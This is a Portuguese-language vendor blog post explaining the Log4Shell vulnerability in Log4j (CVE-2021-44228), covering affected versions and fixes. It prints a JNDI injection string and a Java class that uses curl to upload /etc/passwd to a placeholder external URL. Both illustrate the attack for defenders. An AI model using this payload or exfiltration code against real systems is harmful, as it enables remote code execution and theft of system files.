Vulnerabilidade do Log4j explicada: evite RCE pelo Log4Shell atualizando para a versão 2.17.1

Hoje (10 de dezembro de 2021), uma nova vulnerabilidade crítica do Log4j foi divulgada: o Log4Shell. Essa vulnerabilidade no popular framework de logging Java foi publicada como CVE-2021-44228, classificada como Critical e com pontuação CVSS 10 (a mais alta possível). A vulnerabilidade foi descoberta por Chen Zhaojun, da equipe de segurança na nuvem do Alibaba.

Quase todas as versões do Log4j2 são afetadas. Para corrigir a vulnerabilidade, atualize para a versão 2.17.1. Para conferir as recomendações completas de correção, leia nosso guia prático de correção do Log4Shell.

Muitos frameworks de aplicações do ecossistema Java usam esse framework de logging por padrão. Apache Struts 2, Apache Solr e Apache Druid, por exemplo, são afetados. Além deles, o Apache Log4j também é usado em muitas aplicações Spring e Spring Boot. Por isso, recomendamos verificar suas aplicações e atualizá-las para a versão mais recente.

Qual é a gravidade do Log4Shell?

A resposta simples é: “muito grave”! A vulnerabilidade Log4Shell foi detectada pela primeira vez no Minecraft. A Microsoft lançou uma correção emergencial para resolver o problema rapidamente. A TechCrunch informa que Apple, Amazon, Twitter e Cloudflare estão vulneráveis ao ataque Log4Shell. Segundo a TechCrunch, “a equipe de resposta a emergências de computadores (CERT) da Nova Zelândia, o CERT da Deutsche Telekom e o serviço de monitoramento da web Greynoise alertaram que invasores estão procurando ativamente servidores vulneráveis a ataques Log4Shell. De acordo com este último, cerca de 100 hosts diferentes estão rastreando a internet em busca de maneiras de explorar a vulnerabilidade do Log4j.”

Entenda a vulnerabilidade Log4Shell

Ao usar uma versão vulnerável do Log4j, qualquer dado recebido que seja registrado em log pode levar à execução remota de código (RCE). Ao usar JNDI (Java Naming and Directory Interface) para se conectar, por exemplo, a uma URL LDAP e registrá-la em log (como mostrado abaixo), é possível retornar um payload malicioso com injeção de código.

No trecho de código abaixo, observe o argumento fornecido por um usuário. Se o argumento não estiver em conformidade, registramos um erro em log. Mas, se a entrada do usuário for "${jndi:ldap://someurl/Evil}”, acionamos a vulnerabilidade Log4Shell, pois sabemos que ela será registrada como um erro.

1try {
2   checkout(arg);
3} catch (Exception e) {
4   logger.error("Failed to checkout with arg " + arg)
5}

Se você sabe que uma entrada está sendo registrada em log pelo Log4j, pode configurar um servidor LDAP e retornar um arquivo de classe compilado que executa código. Veja abaixo um exemplo desse tipo de classe. Esse objeto envia meu arquivo /etc/passwđ para uma URL externa usando curl. Observe que essa entrada do usuário pode ficar oculta, por exemplo, no cabeçalho de uma chamada HTTP. Quando o logger avalia a string, a chamada ao servidor LDAP malicioso é realizada.

1public  class RefactoredName implements  ObjectFactory  {
2   @Override
3   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
4       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' http://someurl/upload");
5       return  null;
6   }
7}

Segundo este artigo da Luncasec sobre o problema, todas as versões do Java são afetadas. As versões do JDK posteriores a 6u211, 7u201, 8u191 e 11.0.1 aparentemente não são afetadas por esse ataque LDAP, pois definem com.sun.jndi.ldap.object.trustURLCodebase como false por padrão. No entanto, se a classe retornada pelo servidor LDAP já estiver disponível no classpath, ela será executada até mesmo nas versões mais recentes do JDK e mesmo que com.sun.jndi.ldap.object.trustURLCodebase esteja definido como false.

Isso significa que, quando há uma cadeia de gadgets de desserialização disponível na aplicação, é possível ativar essa desserialização e provocar a execução remota de código. Um exemplo conhecido é a biblioteca Apache Commons Collections 3.1, que inclui uma cadeia de gadgets. Mas uma combinação de bibliotecas e classes nas suas aplicações também pode formar uma cadeia desse tipo. Leia nossa publicação do blog Serialização e desserialização em Java: entenda a vulnerabilidade de desserialização do Java para saber mais sobre problemas de desserialização. Em resumo, todas as versões do Java são afetadas por esse ataque!

Como corrigir a vulnerabilidade Log4Shell

A maneira mais fácil de corrigir o problema é atualizar para o Log4j versão 2.17.1 ou posterior, pois esse comportamento agora vem desativado por padrão. Em versões anteriores (>2.10), é possível mitigar o problema definindo a propriedade do sistema log4j2.formatMsgNoLookups como true e adicionando o seguinte parâmetro Java: -Dlog4j2.formatMsgNoLookups=true

Outra opção para mitigar essa vulnerabilidade é remover a classe JndiLookup do classpath.

Confira nosso guia para saber como encontrar e corrigir vulnerabilidades Log4Shell com o Snyk.

Faça varreduras e atualizações para evitar vulnerabilidades

Essa vulnerabilidade do Log4j mostra mais uma vez a importância de fazer varreduras nas suas aplicações em busca de vulnerabilidades com frequência para manter segura a cadeia de suprimentos de software. Além disso, é importante atualizar sua distribuição do Java para a versão mais recente e aproveitar as novas atualizações de segurança.

Ao fazer uma varredura da sua aplicação com o Snyk Open Source, você encontra vulnerabilidades nas bibliotecas de código aberto, incluindo esse problema com o Log4j. O exemplo abaixo mostra o resultado do meu plugin do IntelliJ IDEA, que aponta o problema e recomenda como corrigi-lo.

O Log4j é vulnerável?

Sim. Todas as versões do Log4j da 2.0-beta9 até a 2.14.1 são afetadas pela vulnerabilidade Log4Shell. É uma vulnerabilidade crítica que exige ação imediata e pode levar a ataques de execução remota de código (RCE).

Onde o Log4j é usado?

O Log4j é amplamente usado por fornecedores, projetos de código aberto, frameworks e projetos de destaque de fundações. Além dos milhões de aplicações Java que usam Log4j, muitos projetos da Apache Software Foundation também utilizam a ferramenta, como Apache Solr, Apache Struts2, Apache Kafka, Apache Druid, Apache Flink, Apache Swift e outros.

Como verificar se há Log4j?

Todas as versões da 2.0-beta9 até a 2.14.1 são afetadas pela nova vulnerabilidade. O Snyk pode mostrar se você está usando versões vulneráveis do pacote e se elas estão incluídas no seu grafo de dependências como dependência direta ou transitiva. O Snyk também ajuda você a corrigir o Log4Shell automaticamente em todo o seu SDLC.

Como corrigir a vulnerabilidade do Log4j?

A maneira mais fácil de corrigir o problema é atualizar para o Log4j versão 2.17.1 ou posterior, pois esse comportamento agora vem desativado por padrão. A versão 2.17.1 também corrige a CVE-2021-45046. Essa vulnerabilidade do Log4j mostra mais uma vez a importância de fazer varreduras nas suas aplicações em busca de vulnerabilidades com frequência para manter segura a cadeia de suprimentos de software. Para mais recomendações de correção, consulte nosso guia prático de correção do Log4Shell.